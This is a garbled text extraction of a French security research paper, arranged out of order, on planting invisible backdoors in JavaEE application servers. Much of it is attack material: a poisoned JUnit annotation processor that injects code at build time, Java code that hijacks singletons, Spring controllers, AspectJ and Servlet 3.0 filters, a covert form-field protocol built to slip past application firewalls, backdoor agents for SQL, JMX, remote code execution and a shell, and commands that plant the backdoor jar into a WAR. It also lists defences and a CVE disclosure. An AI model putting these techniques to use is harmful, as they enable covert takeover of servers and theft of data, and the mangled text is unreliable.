Jerome K ajoute a lrsquoarchive JUnit un processeur compatible JSR269 afin depouvoir intervenir lors drsquoune compilation Ce processeur ajoute du code lors de lacompilation mais uniquement si celle-ci est effectuee sur la machine srsquooccupantdu build final (detection par sous-reseau) Ainsi rien nrsquoest visible dans toutes lesgenerations produites en phase de debug ou de qualification Le processeur nrsquoestpas utilisable lors drsquoune compilation avec Eclipse Lors de la compilation finale duprogramme par Ant ou Maven le processeur ajoute un ResourceBundle un BeanInfoou plus discretement injecte du code directement dans un fichier classe produit parle compilateur Il ajoute egalement dans un repertoire charge en classes les classescomplementaires pour les agents de la porte derobee Le processus de build invoquesans le savoir le processeur present dans Junit et modifie les classes produites sansmodifier les sources
Aucune librairie utilisee par lrsquoapplication nrsquoest modifiee Un audit du source nedonne rien ni la verification des hashs SHA des composants Aucune annotationsensible nrsquoest presente macaron-audit sur le fichier WAR ne signale rien non pluscar lrsquoattaque est specifique a un projet
En production le code injecte recupere le ServletContext soit directement lors delrsquoexecution du code injecte soit via une variable de thread comme le propose SpringPuis il ajoute dynamiquement un filtre JavaEE via les API Servlet 30 Ainsi lefichier webxml nrsquoa pas ete modifie et il nrsquoexiste pas drsquoannotations sensibles
Le filtre reste inactif pendant un mois afin de ne rien reveler Puis il se met aaccepter un mot de passe a usage unique changeant toutes les heures Sur la presencede ce mot de passe dans une requete POST la porte est ouverte Comme la portederobee utilise des requetes standards avec des champs connus le pare-feu applicatifne voit rien drsquoanormal Le trafic reseau etant standard et raisonnable en volume rienne clignote dans le pare-feu reseau
Pour communiquer avec la porte derobee Jerome K utilise une connexion anonymecomme TOR ou un proxy ouvert Pour eviter une reconstitution du trafic reseau lacommunication avec la porte derobee srsquoeffectue avec un algorithme de chiffrement
446 Porte derobee dans les serveurs drsquoapplications JavaEE
dont la clef change regulierement Comme le code de la porte derobee nrsquoindique pasles objectifs de lrsquoattaque il sera plus difficile de connaıtre les motivations de JeromeK en cas de decouverte
Par hasard lrsquoadministrateur Serge H decouvre un nombre anormal de requetesvers certaines pages pour la meme session Est-ce un code AJAX du projet Est-ceautre-chose Ayant eu la chance drsquoavoir enregistre toutes les requetes POST ildecouvre une utilisation etrange drsquoun des champs Les requetes sont toutes semblablessauf pour un seul champ Lrsquoouverture semble avoir commencee avec un mot specialdans ce dernier Il essaye lui-meme cette valeur mais cela ne donne rien Il ne sert arien de la detecter dans le pare-feu car la clef change toutes les heures
Il essaye de reconstituer la communication qui semble etre codee en b64 ou hexamais cela ne donne rien Elle est cryptee Il aurait fallu avoir une trace de toutes lesreponses pour comprendre les actions de Jerome K Il ne sert a rien de renforcer lesverifications des champs sur la page utilisee car le pirate peut exploiter toutes lespages du serveur ce que confirment drsquoautres traces a un autre moment
Comme il le presageait les adresses IP sources ne donnent rien Elles changent etviennent de tous les coins du monde
Kevin M un expert en securite est mandate avec pour objectif de bloquerrapidement la porte de decouvrir comment elle a ete injectee et par qui
Le code est a nouveau audite pour essaye de decouvrir drsquoou vient le probleme Lessources et les archives ne revelent rien Il faut decompiler tout le code pour decouvrirla porte derobee Mais drsquoou vient-elle Ce nrsquoest pas dans les sources ni dans lescomposants Kevin M recupere le tout et recompile sur un poste isole La porte nrsquoestpas presente dans le WAR final Etrange Finalement il refait un build depuis laplate-forme de qualification et decouvre que la porte derobee est automatiquementinjectee Il recherche une faille sur cette plate-forme sans resultat Il redeploie laplate-forme avec les fichiers sources originaux meme resultat la porte est present Ilutilise un autre serveur vierge du meme sous-reseau recupere les sources et recompileLa porte est toujours presente
De guerre lasse il utilise a nouveau macaron-audit mais cette fois sur toute laplate-forme et non uniquement sur le WAR produit Il decouvre alors un serviceetrange dans Junit archive negligee lors de la verification des hashs car elle nrsquoest paspresente en production Remontant alors la piste il decouvre que la version de Junitdans le repository a ete deposee par Adrian L lrsquoadministrateur il y a plusieurs moisCe dernier homme de confiance soupconne qursquoil ait ete victime drsquoun virus ou drsquouncheval de Troie mais ignore comment cela a pu se produire Un audit de son postene revele rien drsquoanormal
P Prados 447
Pour corriger le probleme Kevin M decide de restituer lrsquoarchive originale deJunit et de renforcer la securite du referentiel Maven de lrsquoentreprise Une signaturenumerique est ajoutee a chaque archive La procedure de qualification est renforceeUn macaron-audit sera dorenavant entrepris sur tout le projet Les compilations serontdorenavant toujours effectuees avec le parametre -proc none Kevin M est incapabledrsquoidentifier le pirate Il sait simplement qursquoil a du etre present dans lrsquoentreprise etdoit certainement connaıtre le projet
Ce scenario fonctionne avec les Servlet 30 et un JDK6+ Crsquoest a dire que plus lestechnologies progressent plus il est facile drsquoinjecter une porte derobee
8 Conclusion
Nous avons demontre qursquoil est possible en utilisant differentes techniques de piegesdrsquoinjections de code ou drsquoexploitations de privileges drsquoajouter une porte derobeeinvisible dans un projet JavaEE Nous avons identifie les strategies drsquoattaques etpropose des solutions pour reduire les risques Trois utilitaires permettent drsquoeffectuerun audit du code de le renforcer et drsquoextraire les rares privileges a accorder
httpmacarongooglecodecom
Dans lrsquoideal il faut faire evoluer la culture Java pour que les projets utilisent lescellement de tous leurs packages et travaillent systematiquement avec la securiteJava2 lors des phases de developpement
A ce jour le seul moyen drsquointerdire toutes les attaques identifiees est ndash drsquoutiliser la securite Java2ndash de sceller toutes les archives ndash drsquoutiliser les patchs pour ResourceBundle et ServiceLoader ndash de compiler avec le parametre -procnone
ndash et de ne pas utiliser lrsquoAOPLa signature des archives et lrsquoaudit humain est egalement un moyen de proteger
les referentiels Java offre des solutions de signature mais elles sont peu utiliseesPour une plus grande securite il faut les exploiter
P Prados 401
Notez que cette attaque ne fonctionne pas avec Tomcat 55 car ce dernier utilisele parseur du composant pour analyser ces propres fichiers XML Cela entrainelrsquoutilisation de packages proteges par la variable systeme packagedefinition Donc pareffet de bord le serveur refuse drsquoutiliser un analyseur XML qui delegue son traitementa un analyseur deja present Il est possible de livrer un analyseur complet sansdelegation Ce point sera corrige suite a lrsquoalerte que nous avons signalee a lrsquoequipe deTomcat
La version 6x de Tomcat nrsquoutilise plus a raison lrsquoanalyseur du composant pouranalyser ces fichiers XML (sauf encore pour les fichiers TLD) Lrsquoattaque est alorseffective avec Tomcat 6x
Comme Tomcat utilise a tord le parseur du composant pour analyser les fichiersTLD ce dernier est toujours execute avant le lancement de lrsquoapplication La portederobee peut alors srsquoinstaller dans tous les cas que lrsquoapplication utilise ou non unparseur XML en interne
Cette vulnerabilite et une proposition de solution ont ete annoncees officiellement(CVE-2009-0911) par nos soins
Injection par generation drsquolaquo Autoproxy raquo Java propose une API particulierepermettant de generer dynamiquement une classe repondant a une interface preciseUne instance de cette classe capture toutes les invocations et peut alors modifier lestraitements La librairie CGLIB propose un fonctionnement similaire en generantdynamiquement une classe heritant drsquoune autre dont toutes les methodes publiquespeuvent etre redefinies Cette deuxieme approche permet drsquooffrir le meme servicesans necessiter drsquointerface
Ces technologies sont utilisees pour generer des auto-proxies pour ajouter parexemple des regles de securites de la gestion des transactions de la repartition decharge de la communication a distance type RMI ou CORBA etc
Injection des Singletons Le privilege Java2 suppressAccessChecks permet demodifier les attributs prives Srsquoil est disponible il est facile de modifier des singletonsImaginons un Singleton porte par une interface et accessible via un attribut privestatique
interface Singleton
class TheSingleton implements Singleton
private static Singleton _singleton=
new TheSingleton ()
402 Porte derobee dans les serveurs drsquoapplications JavaEE
public static Singleton getSingleton ()
return _singleton
Le singleton est accessible via la methode statique TheSingletongetSingleton() Il estegalement disponible via lrsquoattribut prive TheSingleton_singleton Le code suivant permetdrsquoencapsuler un singleton pour que toutes ses methodes soient sous le controle de laporte derobee
public static void hackSingleton(
La classe drsquoacclsquoes
final Class ltgt singletonClass
Lrsquoattribut priv rsquoe
final String singletonField
Lrsquointerface du singleton
final Class ltgt singletonInterface
Lrsquoinstance courante
final Object singleton)
throws NoSuchFieldException IllegalAccessException
final Field field=
singletonClassgetDeclaredField(singletonField)
fieldsetAccessible(true)
fieldset(null
ProxynewProxyInstance(
singletonInterfacegetClassLoader ()
new Class[] singletonInterface
new InvocationHandler ()
public Object invoke(Object self
Method method
Object [] args)
throws Throwable
Inject code here
return methodinvoke(singleton args)
))
Lrsquoinvocation de cette methode par la porte derobee permet de detourner tous lestraitements du singleton
hackSingleton(
La classe drsquoacclsquoes
TheSingletonclass
Lrsquoattribut statique privrsquoe
_singleton
Lrsquointerface du singleton
Singletonclass
Le singleton courant
SingletonImpgetSingleton ())
P Prados 403
Deux techniques permettent de se proteger de ces attaques declarer lrsquoattribut_singleton en final ou utiliser la securite Java2 Il faut en effet beneficier du privilegesuppressAccessChecks pour pouvoir modifier un attribut prive
Parfois les singletons nrsquoimplementent pas drsquointerfaces
public class Singleton
private static Singleton theSingleton=new Singleton ()
public static Singleton getSingleton ()
return _singleton
En exploitant la librairie CGLib si elle est disponible dans le projet il est toujourspossible de detourner les traitements du singleton
public static void hackCGLibSingleton(
final Object singleton
String singletonField)
throws NoSuchFieldException IllegalAccessException
Field field = singletongetClass ()
getDeclaredField(singletonField)
fieldsetAccessible(true)
fieldset(
null Enhancercreate(singletongetClass ()
new MethodInterceptor ()
public Object intercept(Object obj
Method method
Object [] args
MethodProxy proxy)
throws javalangThrowable
Inject code here
return proxyinvoke(singleton args)
))
hackCGLibSingleton(SingletongetSingleton () _singleton)
Pour eviter cette attaque il faut que la classe du singleton soit final afin drsquointerdirelrsquoheritage ou utiliser la securite Java2
Comme il est possible de detourner les invocations de toutes les methodes drsquounsingleton le developpeur inconvenant va rechercher les singletons permettant drsquoobtenirla requete et la reponse drsquoune requete HTTP Ainsi il peut detecter lrsquoouverture de laporte derobee lors de lrsquoutilisation du singleton
Les frameworks drsquoAOP utilisent des singletons pour lrsquoinjection du code Moyennantla presence de CGLib il est theoriquement possible drsquointervenir sur le traitement
404 Porte derobee dans les serveurs drsquoapplications JavaEE
drsquoune injection apres le demarrage de lrsquoapplication AspectJ utilise un singletonpublic mais final interdisant cette attaque
Cela confirme que lrsquoutilisation de singletons presente un risque pour les projetsLrsquoutilitaire Google Singleton Detector4 peut identifier les risques dans les projets
Injection des composants Spring Le framework Spring initie les singletons delrsquoapplication a lrsquoaide du concept drsquoinversion de controle Crsquoest a dire que les composantsne recherchent pas leurs composants lies crsquoest le framework Spring qui se charge deleur fournir Lrsquoinitialisation des composants de Spring correspond a la creation drsquoungroupe de Singletons lies entre eux Il est donc interessant de verifier qursquoil nrsquoestpas possible de detourner le traitement drsquoune requete HTTP
Le framework Spring propose differents sous-frameworks dont une couche MVC(Modele Vue Controleur) permettant de gerer les requetes Web Avec ce dernier ilest possible drsquoinjecter un AutoProxy dans les controleurs du MVC afin drsquoavoir lamain sur toutes les requetes HTTP
Component
Aspect
public static class AspectSpring
Around(execution(public orgspringframeworkwebservletModelAndView
(javaxservlethttpHttpServletRequest
javaxservlethttpHttpServletResponse)))
public Object mvc(ProceedingJoinPoint pjp)
throws Throwable
pjpproceed ()
Inject code here
Toutes les requetes destinees aux controleurs commenceront par un petit tour versle code de la porte derobee
De meme il est possible drsquoajouter un interceptor en charge de detourner letraitement des requetes HTTP
Component(RegisterInterceptorRegisterInterceptorName)
public class RegisterInterceptor
extends BeanNameAutoProxyCreator
Component(BackDoorInterceptorInterceptorName)
static public class BackDoorInterceptor
implements MethodInterceptor
private static final
4 httpcodegooglecompgoogle-singleton-detector
P Prados 405
String InterceptorName=Interceptor
public Object invoke(MethodInvocation i)
throws Throwable
final Method method=igetMethod ()
final Type[] args=
methodgetGenericParameterTypes ()
if ((argslength ==2) ampamp
(args [0]== HttpServletRequestclass) ampamp
(args [1]== HttpServletResponseclass))
Inject code here
return iproceed ()
private static final
String RegisterInterceptorName=registerInterceptor
public RegisterInterceptor ()
setBeanNames(new String [])
setInterceptorNames(
new String []
BackDoorInterceptorInterceptorName )
Pour que cela fonctionne il faut que lrsquoinitialisation de Spring analyse le pack-age ou la classe est presente Cela srsquoeffectue par une instruction dans le fichier-dispatch-servletxml
ltcontextcomponent -scan base -package=comgooglecodemacaron gt
Une troisieme approche consiste a declarer un ltbeangt implementant lrsquointerfaceBeanPostProcessor Il est alors possible drsquointervenir sur les beans implementantlrsquointerface HandlerMapping pour modifier le comportement de la methode getHandler(
HttpServletRequest request)Si nous desirons une attaque generique ne dependant pas drsquoun nom de package
specifique a un projet il faut modifier lrsquoanalyse du fichier XML a la volee pour yinjecter dynamiquement la declaration drsquoun nouveau ltbeangt
A lrsquoheure ou nous redigeons ces lignes cette attaque ne necessite aucun privilegeparticulier pour etre effective Elle ne peut etre contree Nous proposons une solutionet un patch du JDK6 pour corriger cela
Injection par declaration drsquolaquo Aspect raquo Une autre technologie se democratise laprogrammation par aspect Il srsquoagit drsquoajouter au programme des regles de transforma-tions et de tissage de code fondees sur la structure du programme La programmation
406 Porte derobee dans les serveurs drsquoapplications JavaEE
par aspect permet naturellement lrsquoinjection de code dans lrsquoapplication Cette evolutiondu langage peut etre presente globalement a lrsquoaide drsquoun parametre de la JVM
java -javaagentaspectjweaverjar
Nous avons montre comment cette technique permet a un piege de lrsquoapplicationdrsquoexecuter du code a lrsquoinsu du projet Elle permet egalement lrsquoinjection de traitementslors des requetes HTTP
Tous les flux de traitement vers les requetes ou les fichiers JSP peuvent etredetournes
Aspect
public static class BackDoorAspect
Around(execution(void doGet ()) +
|| execution(void doPost ()) +
|| execution(void service ()) +
|| execution(void _jspService ()))
public void backdoor(ProceedingJoinPoint pjp)
throws Throwable
pjpproceed ()
Inject code here
Ainsi toutes les servlets et toutes les JSP du serveur drsquoapplication seront sous lecontrole de la porte derobee
Il nrsquoexiste pas de technologie pour bloquer cette attaque
Injection Servlet 30 Les dernieres specifications des servlets permettent naturelle-ment lrsquoinjection de filtre Le chargeur de classe drsquoune application Web regarde toutesles classes implementant les interfaces suivantes pour y decouvrir eventuellement desannotations
ndash javaxservletServletndash javaxservletFilterndash javaxservletServletContextListenerndash javaxservletServletContextAttributeListenerndash javaxservletServletRequestListenerndash javaxservletServletRequestAttributeListenerndash javaxservlethttpHttpSessionListenerndash javaxservlethttpHttpSessionAttributeListenerLors de la presence drsquoune annotation WebFilter ce dernier est ajoute automa-
tiquement comme srsquoil etait present dans le fichier webxml
P Prados 407
Comme les algorithmes a la recherche des annotations doivent parcourir toutes lesclasses ils sont optimises et utilisent parfois des raccourcies Par exemple lrsquoalgorithme5
utilise par GlassFish recherche simplement la presence drsquoune chaine de caracterecorrespondant au nom de lrsquointerface dans le pool de constante une chaine de la formeLjavaxservletannotationWebServlet Si une classe utilise cette chaine decaractere pour autre chose sans etre pour autant une servlet elle sera considereecomme possedant cette annotation Les outils drsquoaudits doivent tenir compte de ceraccourci
Pour eviter cette decouverte automatique des filtres il faut ajouter le parametremetadata-complete dans le fichier webxml
Injections lors de la compilation Le JSR269 permet drsquoajouter des Processors
lors de la compilation drsquoun code java A partir de la version 6 de la JVM sur lapresence drsquoune annotation un code java prend la main lors de la compilation pourgenerer drsquoautres classes ou des fichiers de ressources Pour que cela fonctionne il fautposseder une archive dans le CLASSPATH lors de la compilation Cette derniere doitpresenter le service javaxannotationprocessingProcessor comme indique auchapitre laquo Injections lors de la compilation raquo
Avec cette approche il est possible drsquointervenir sur le code final de lrsquoapplicationmeme avec une archives presente uniquement pour les tests unitaires
Lrsquoajout ou la modification de classe est possible Il est donc envisageable drsquointer-venir sur une classe compilee pour modifier son comportement soit en injectant ducode directement dans la classe soit en replacant tout simplement le fichier class
SupportedAnnotationTypes()
SupportedSourceVersion(SourceVersionRELEASE_6)
public class Processor extends AbstractProcessor
private static boolean onetime=false
public boolean process(
Set lt extends TypeElement gt annotations
RoundEnvironment rndEnv)
Filer filer = processingEnvgetFiler ()
Messager messager = processingEnvgetMessager ()
Elements eltUtils =
processingEnvgetElementUtils ()
if ( rndEnvprocessingOver () ampamp onetime)
onetime=true
try
final String filterClass=
Filter3classgetName ()
5 httptinyurlcomc9dzao
408 Porte derobee dans les serveurs drsquoapplications JavaEE
JavaFileObject jfo=
filercreateClassFile(filterClass)
InputStream in=
FilterclassgetClassLoader ()
getResourceAsStream(
filterClassreplaceAll()+class)
OutputStream out=jfoopenOutputStream ()
final byte[] tampon=new byte [4096]
int len
while ((len = inread(tampon)) gt 0)
outwrite(tampon 0 len)
outclose()
inclose ()
catch (Throwable x)
Ignore
return true
Drsquoautres pistes sont possibles comme la copie de lrsquoarchive de la porte derobe lorsde la compilation a partir drsquoune version presente uniquement pour les tests unitaires
Lors drsquoune compilation par Maven ou Ant par exemple le processeur est invoquepour compiler les classes du projet et les classes des tests unitaires Le processeurpeut alors entrer en action pour intervenir sur le repertoire target avant la creationde lrsquoarchive du projet
Cette attaque peut etre exploitee pour toutes applications Java et permettredrsquoinjecter une porte derobe dans une carte a puce
Pour interdire cela il faut ajouter le parametre -proc none lors de la compilation
Drsquoautres approches Dans certaines conditions particulieres drsquoautres approchessont possibles comme la modification a chaud drsquoune classe via lrsquoapi JPDA (JavaPlatform Debugger Architecture) Il faut pour cela beneficier de lrsquoarchive toolsjar duJDK et que la JVM soit lancee en mode debug via le reseau
25 Detection de lrsquoouverture de la porte
Le code de la porte derobee etant execute a chaque requete HTTP a lrsquoaide drsquouneValve Tomcat drsquoun filtre JavaEE drsquoune injection AOP drsquoun Auto-Proxy ou drsquouninterceptor Spring il est possible drsquoanalyser tous les champs des formulaires Surla presence drsquoune clef dans un champ quelconque drsquoun formulaire la porte derobeedetourne le traitement
P Prados 409
Nous proposons un code de demonstration de ces attaques Il srsquoagit de placer unesimple archive dans le repertoire WEB-INFlib Il faut ensuite utiliser le mot Macaronen ecriture Leet6 (laquo M4c4r0n raquo) dans nrsquoimporte quel champ de lrsquoapplication pourlrsquoexecuter
26 Communication discrete
Ce chapitre decrit la couche de communication mise en place par la demonstrationVous pouvez sauter directement vers le chapitre laquo Demonstration raquo
Maintenant que le flux est detourne il faut faire preuve de discretion pourcommuniquer avec la porte derobee Le code ne doit pas etre detecte par les pare-feureseaux ni par les pare-feu applicatifs (WAF)
Les pare-feu applicatifs detectent ndash Les URLs utilisees via une liste blanche ndash La liste des champs pour chaque URLs et les contraintes de format (chiffrelettre
taille etc) ndash La vitesse des requetes (plus de 120 requetes par minutes ou plus de 360 requetes
en cinq minutes) ndash La taille limite des reponses (512Ko) ndash La presence de mots clefs specifiques dans les pages de reponses (liste noire)La porte derobee doit contourner toutes ces verifications Pour cela le filtre utilise
une URL standard de lrsquoapplication celle utilisee pour inserer la clef La requetedrsquoouverture est conforme aux contraintes si le champ choisi pour utiliser la clefaccepte des caracteres et des chiffres
La communication srsquoeffectue en remplissant un formulaire avec une valeur specialerespectant les contraintes du champ (type de caractere et taille du champ)
Les agents de la porte derobee nrsquoutilisent alors que cette URL en soumettanttoujours le meme formulaire avec les memes valeurs sauf pour un seul champ quisert de transport Ce dernier ne doit pas violer les contraintes du champ
La figure 6 indique le cheminement de la communicationLors de la soumission drsquoun formulaire le traitement est detourne vers la porte
derobee Une page specifique est renvoyee Cette derniere communique avec le code dela porte derobee a lrsquoaide de requetes AJAX afin drsquoinjecter dans la page les resultatsdes traitements au format XML
Une ecoute des trames reseau lors drsquoune communication avec la porte derobee faitapparaıtre des soumissions regulieres drsquoun formulaire dont un seul champ evolue Sila requete est de type POST il est peu probable que cela soit enregistre dans les logs
6 httpfrwikipediaorgwikiLeet_speak
410 Porte derobee dans les serveurs drsquoapplications JavaEE
Fig 6 Communication de la porte derobee
Toutes les manipulations de la porte derobee utilisent des trames portees par unchamp de formulaire HTML Une taille limite nrsquoest jamais depassee pour ce dernier
La grammaire des trames est la suivante
ltM4c4r0n gtlta|bgtltdata gt
Elle est precisee ci-dessousComme les trames ne doivent depasser une certaine taille le caractere apres la
clef laquo M4c4r0n raquo indique si la trame est terminee (a) ou si elle doit etre completeepar drsquoautres trames (b)
Les caracteres suivants servent de charge utile a la trame Le contenu est au formatASCII en b64 ou hexadecimal suivant le parametrage de la porte derobee
La charge utile des trames est alors analysee comme une commande a executerDes pages HTML specifiques sont retournees Elles utilisent la technologie AJAX pourcommuniquer Les pages sont autonomes Elles integrent les feuilles de styles et lesscripts mais evitent les images (sauf au format data ) afin de reduire le nombre derequetes HTTP Une seule requete drsquoouverture de la porte derobee permet drsquoobtenirun agent fonctionnel Les pare-feu applicatifs ne verifient generalement pas le formatdes pages en retour
Le flux drsquoemission AJAX est ralenti en termes de trafic reseau pour ne pas eveillerles soupcons
P Prados 411
Une requete specifique conf permet drsquoindiquer le format drsquoencodage et la taillemaximum drsquoune trame a ne pas depasser Elle a le format suivant
ndashndash La clef en lrsquooccurrence laquo M4c4r0n raquo ndash Le caractere de fin de trame (laquo b raquo) ndash Le mot clef de la commande laquo conf raquo ndash Un caractere indiquant si lrsquoencodage doit etre hexadecimal ou base64 (laquo h raquo ou
laquo b raquo) ndash Un nombre indiquant la taille maximum des trames ndash Le caractere laquo W raquo comme separateur ndash Un nombre indiquant en second la frequence drsquoemission des trames
Par exemple pour demander lrsquoinitialisation de la porte derobee en utilisantlrsquoencodage hexadecimal une taille maximal des trames de 30 caracteres et un poolde 3 secondes il faut valoriser un champ de formulaire texte drsquoune vingtaine decaracteres comme le montre la figure 7
Fig 7 Configuration
Cela ouvre la porte tout en parametrant les communications futures Par defautlrsquoencodage est en base64 les trames ne depassent pas 80 caracteres et le pool est dedeux secondes Il est donc recommande de choisir un champ suffisamment grand pourrecevoir tous ces caracteres
27 Le scenario drsquoexecution
Le scenario drsquoexecution de la porte derobee est le suivant
ndash Etape 1 Declenchement du piegendash Etape 1bis Si necessaire augmentation des privileges en utilisant une tech-
nologie drsquoexecution implicite Puis attente drsquoun redemarrage du serveur drsquoappli-cation
ndash Etape 2 Injection drsquoun filtre sur toutes les requetes HTTP ndash Etape 3 Analyse de toutes les requetes pour detourner le flux de traitement
des requetes lors de la presentation de la clef
412 Porte derobee dans les serveurs drsquoapplications JavaEE
28 Les agents
Differents agents sont proposes par la porte derobee
ndashndash Un agent memorisant les dernieres requetes sur le serveur ndash Un agent JMX pour manipuler le serveur drsquoapplication ndash Un agent JNDI pour consulter lrsquoannuaire de la configuration ndash Un agent SQL pour manipuler la base de donnees ndash Un agent Javajavascript pour compiler et executer dynamiquement du code ndash Un agent Shell pour srsquoamuser
Fig 8 History
Agent History Cet agent permet de memoriser les dernieres requetes avec leursparametres quelque soit lrsquoutilisateur Il peut permettre de decouvrir des informationsconfidentielles soumises par drsquoautres utilisateurs
Agent JNDI Cet agent permet de naviguer dans lrsquoarbre JNDI lrsquoannuaire des objetsdes applications JavaEE Les ordres possibles sont
cd ltjndi_name gt
ls
dump ltjndi -name gt
P Prados 413
Fig 9 JNDI
La commande dump permet si possible de serialiser lrsquoobjet et drsquoafficher une vuehexadecimale du resultat Cela permet parfois de trouver des mots de passes
Agent JMX Cet agent permet de naviguer dans lrsquoarbre JMX lrsquoarbre de gestion desobjets du serveur Les ordres permettent de consulter ou de modifier les attributset drsquoinvoquer des traitements Lrsquoergonomie proposee ressemble a un shell avec unesyntaxe specifique Les ordres possibles sont
cd ltJMX name gt
ls
ltattr gt=ltvaleur gt
method(ltparams gt)
Agent JDBC Cet agent utilise la connexion a la base de donnees declaree dans lefichier webxml ou specifiee en ligne de commande Il permet drsquoinvoquer toutes lesrequetes SQLs autorisees par la connexion Si elles commencent par select lrsquoagentaffiche un tableau avec le resultat Sinon il execute le traitement et retourne un statut
La commande jndi ltkeygt permet drsquoutiliser une autre clef JNDI pour acceder ala base de donnees
Tous les privileges accordes a lrsquoapplication sont disponibles Il ne faut pas longtempsensuite pour les augmenter et attaquer le serveur de la base de donnees Les publica-tions sur les SQLs injections peuvent etre une source drsquoinspiration
414 Porte derobee dans les serveurs drsquoapplications JavaEE
Fig 10 JMX
Fig 11 JDBC
P Prados 415
Fig 12 JavaJavascript
Agent JavaJavascript Cet agent permet drsquoexecuter du code java ou javascriptsur le serveur
Pour lrsquoutilisation de Java le code est integre dans un fichier source java puiscompile avec le compilateur trouve sur place cote serveur Le code compile est injectedans le serveur a lrsquoaide drsquoun chargeur de classe puis execute Le resultat est retourneau navigateur
Si le code se termine par un rsquo rsquo ou rsquorsquo il est execute Sinon il est evalueLe code utilise le compilateur integre a Jasper le compilateur de JSP Srsquoil nrsquoest
pas present il exploite le compilateur du JDK disponible Si ce dernier nrsquoest paspresent car lrsquoapplication utilise un JRE le code recherche lrsquoarchive toolsjar pourlrsquoinjecter et lrsquoutiliser Il est rare de ne pas pouvoir compiler une classe dynamiquementsur le serveur
Pour lrsquoutilisation de Javascript le code utilise lrsquoimplementation Rhino presenteavec le JDK
Deux variables sont disponibles ndash request La requete HTTPndash out un flux dont le resultat sera affiche dans le navigateur
Agent laquo shell raquo Cet agent lance un shell sur le serveur et offre une interface similairedans le navigateur Des requetes periodiques permettent de recuperer les modificationsdrsquoetats dans le shell du serveur Il srsquoagit drsquoun simple shell TTY et non drsquoun shellANSI
416 Porte derobee dans les serveurs drsquoapplications JavaEE
Fig 13 Shell
Comme la porte derobee propose des agents generiques il nrsquoest pas possiblede connaıtre les motivations du pirate lors de sa decouverte Souhaite-il recupererdes informations confidentielle abuser des services de lrsquoapplication srsquoinjecter sur leserveur rebondir vers drsquoautres cibles
3 Demonstration
Pour illustrer cette etude un code de demonstration est propose Il srsquoagit drsquounearchive Java a placer dans le repertoire WEB-INFlib drsquoun composant Web Differentestechniques sont utilisees pour decouvrir les vulnerabilites efficaces dans lrsquoenviron-nement drsquoexecution
Le code commence par etre declenche par un piege (META-INFservices Resource-Bundle Annotation fichier de parametres etc) Puis le code attend quelques secon-des avant de demarrer pour ne pas interrompre lrsquoinitialisation du serveur si necessaire
Si la programmation par Aspect est possible et globale a toute la JVM le codeinstalle un filtre AOP sur toutes les servlets et toutes les JSP lors de leur chargementen memoire
Si la programmation par Aspect nrsquoest pas possible et que Spring est utilise le codeinstalle un bean Spring en detournant le parseur DOM Ainsi tous les controleurs duframework MVC peuvent ouvrir la porte derobee
Si Spring et lrsquoAOP ne sont pas presents le code essaye drsquoinjecter directementdes Valves Tomcat via JMX Sous Tomcat 5x cela est possible si le parametreltContext privileged=truegt est present Sous Tomcat 6x cela est toujours possible si lasecurite Java2 nrsquoest pas activee
P Prados 417
Si le moteur est compatible Servlet 30+ un filtre est declare via une annotationServletFilter Il est decouvert par le moteur JavaEE et installe discretement
Si cela ne fonctionne toujours pas le code essaye drsquoaugmenter ses privileges enrecopiant lrsquoarchive de la porte derobee dans un repertoire du serveur drsquoapplicationLe code srsquointerrompt alors pour attendre un redemarrage
Si lrsquoaugmentation de privilege nrsquoest pas possible ou nrsquoest pas appropriee pour leserveur drsquoapplications le code essaye de modifier le fichier webxml du repertoirede travail de Tomcat pour injecter un filtre JavaEE puis le code srsquoendort jusqursquoauprochain depart du serveur drsquoapplications
Ce scenario permet une installation de la porte derobee dans differentes situationsavec ou sans la securite Java2 activee avec plus ou moins de privileges
Au redemarrage du serveur drsquoapplicationsndash si lrsquoarchive a pu etre recopiee dans un repertoire du serveur drsquoapplications pour
augmenter les privileges le code utilise un ResourceBundle utilise par ce dernierpour installer effectivement la porte derobee a lrsquoaide de Valves
ndash si le fichier webxml a ete modifie lors de la premiere etape le serveur drsquoapplica-tions installe le filtre JavaEE
Si la securite Java2 est active et sans privilege particulier accordee a lrsquoarchivede la porte derobee le code est quand meme capable de srsquoinjecter Il faut que lecomposant WAR utilise Spring Lrsquoattaque exploite uniquement la redefinition delrsquoanalyseur XML DOM Nous proposons plus bas une solution pour interdire cela
31 Execution
Que la requete entre dans une Valve un filtre J2EE un PointCut Interceptorou AOP la porte derobee analyse tous les champs des formulaires Si elle trouve lavaleur M4c4r0n elle detourne le traitement pour executer un agent
La couche de transport analyse le suffixe apres la clef pour selectionner lrsquoagent Sila requete nrsquoest pas terminee elle alimente un tampon en memoire et retourne unepage vierge Sinon la requete est traitee et deleguee a lrsquoagent correspondant
Chaque agent utilise un protocole qui lui est propre
32 Executer la demonstration
Les demonstrations sont toutes fondees sur la meme approche Telecharger uncomposant WAR sur le net ajouter lrsquoarchive de la porte derobee dans le repertoireWEB-INFlib et installer le composant dans le serveur drsquoapplication
Voici des exemples que vous pouvez utiliser ndash httptomcatapacheorgtomcat-55-docappdevsamplesamplewar
418 Porte derobee dans les serveurs drsquoapplications JavaEE
ndash httphomepagentlworldcomrichard_c_atkinsonjfreechartjfreechart-sample
war
ndash httpwwwspringsourceorgdownload
Apres le telechargement utilisez un editeur drsquoarchives ZIP ou une console
$ wget http tomcatapacheorgtomcat -55-docappdevsamplesamplewar
$ mkdir -p WEB -INFlib
$ mv macaron -backdoor jar WEB -INFlib
$ jar -uf samplewar WEB -INF
$ cp samplewar $CATALINA_HOMEwebapps
Pour eviter toute utilisation malheureuse du code ce dernier ne srsquoexecute pas siquelques conditions ne sont pas reunies Il faut declarer la variable drsquoenvironnementmacaron-backdoor avant de lancer le serveur drsquoapplication
export JAVA_OPTS = $JAVA_OPTS -Dmacaron -backdoor=i-take -responsibility -for -my-
actions
Si de plus vous utilisez la securite avec Tomcat il faut ajouter trois privilegesdans le fichier $CATALINA HOMEconfcatalinapolicy dans la section grant
grant
Pour Macaron Backdoor
permission javautilPropertyPermission macaron -backdoorread
permission javalangRuntimePermission createClassLoader
permission javalangRuntimePermission getProtectionDomain
Notez que ces trois parametres ne sont pas necessaires avec la version non protegeequi nrsquoest pas publique
Puis lancez Tomcat
$ $CATALINA_HOMEbincatalinash run -security
Attendez trente secondes que la porte derobee soit bien en place puis avecun navigateur consultez le site Dans un champ de formulaire indiquez le mot depasse laquo M4c4r0n raquo ou ajoutez a lrsquoURL drsquoune page param=M4c4r0n
33 Diffusion du code
